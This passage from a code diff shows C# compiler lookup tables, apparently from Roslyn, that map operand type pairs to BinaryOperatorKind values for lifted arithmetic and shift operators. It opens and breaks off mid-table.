BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.ObjectAndString, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + } + }; + + private static readonly BinaryOperatorKind[,] s_shift = new BinaryOperatorKind[32, 32] + { + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + 